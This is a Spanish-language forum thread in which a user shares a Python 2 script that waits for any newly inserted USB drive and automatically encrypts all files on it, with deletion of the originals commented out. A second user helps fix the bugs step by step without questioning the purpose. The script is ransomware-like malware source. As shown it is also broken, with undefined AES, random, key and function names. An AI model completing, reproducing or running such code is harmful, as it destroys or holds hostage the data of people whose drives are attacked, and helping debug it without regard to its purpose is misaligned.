el script al momento de cifrar los archivos del usb truena python

Iniciado por geshiro, 7 Diciembre 2016, 07:43 AM

0 Miembros y 1 Visitante están viendo este tema.

geshiro

lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?

Código (python) [Seleccionar]

Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
   encrypt_file(str(encrypt_files))
 File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"



Código (python) [Seleccionar]

from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto import Random
import string
import time
import os, sys




def get_drives():
   drives = []
   bitmask = windll.kernel32.GetLogicalDrives()
   for letter in string.uppercase:
       if bitmask & 1:
        drives.append(letter)
       bitmask >>= 1
   return drives


def encrypt(filename):
chunksize = 64 * 1024
outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
filesize = str(os.path.getsize(filename)).zfill(16)
IV = ''

for i in range(16):
IV += chr(random.randint(0, 0xFF))

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, "rb") as infile:
with open(outFile, "wb") as outfile:
outfile.write(filesize)
outfile.write(IV)

while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

elif len(chunk) % 16 !=0:
chunk += ' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def list_files(path):
   files = []
   for name in os.listdir(path):
       if os.path.isfile(os.path.join(path, name)):
           files.append(name)
   return files



if __name__ == '__main__':
print 'Searching usb...'
while True:
before = set(get_drives())
time.sleep(5)
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
encrypt_files = list_files(newly_mounted)
print "letter: "+newly_mounted
print "fueron montados  %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
for x in encrypt_files:
if os.path.basename(x).startswith("(encrypted)"):
print "%s is already encrypted" %str(x)
pass

else:
encrypt_file(str(encrypt_files))
print "encryptacion terminada %s" %str(x)
"""os.remove(x) """
else:
print "no hay ningun usb"




MCKSys Argentina

Según veo en tu código, en la linea 80 a encrypt_file le estás pasando una lista de archivos y creo que la función espera un string con el nombre del archivo.

Lo anterior es si encrypt_file es el encrypt de la linea 22 (Aunque no es el mismo nombre de función)

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


geshiro

Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien

MCKSys Argentina

#3
Cita de: geshiro en  7 Diciembre 2016, 18:14 PM
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien

En el bucle estás usando x para iterar por la lista. Deberías pasarle dicha variable a encrypt_file() en vez de la lista completa... no?

Saludos!

EDIT: Si debugeas el código, se te hará más snecillo corregir los errores que tenga.
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."



MCKSys Argentina

Cita de: geshiro en  7 Diciembre 2016, 18:37 PM
Le estoy pasando dicha variable

Mira la línea 80 del código que has posteado. Ahí es donde debes usar pasarle x a encrypt_file(). Incluso el str() estaría demás.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


geshiro

si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro  incluso usando
Código (python) [Seleccionar]
encrypt_file(x)

Código (python) [Seleccionar]
Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
   encrypt_file(x)
 File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'

MCKSys Argentina

Claro, porque x sólo contiene el nombre. Deberías armar el path completo al archivo para poder abrirlo.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


geshiro

como pudiera armar bien el path para abrirlos

se suponia que en esta parte le daba la ruta  de los archivos


      
Código (python) [Seleccionar]
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)

MCKSys Argentina

Prueba reemplazar x con os.path.join(newly_mounted, x)

Ten en cuenta que sólo trabajará con los archivos que están en el root. Si hay carpetas y archivos dentro, vas a tener que devolver las carpetas también como path en la función list_files()

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."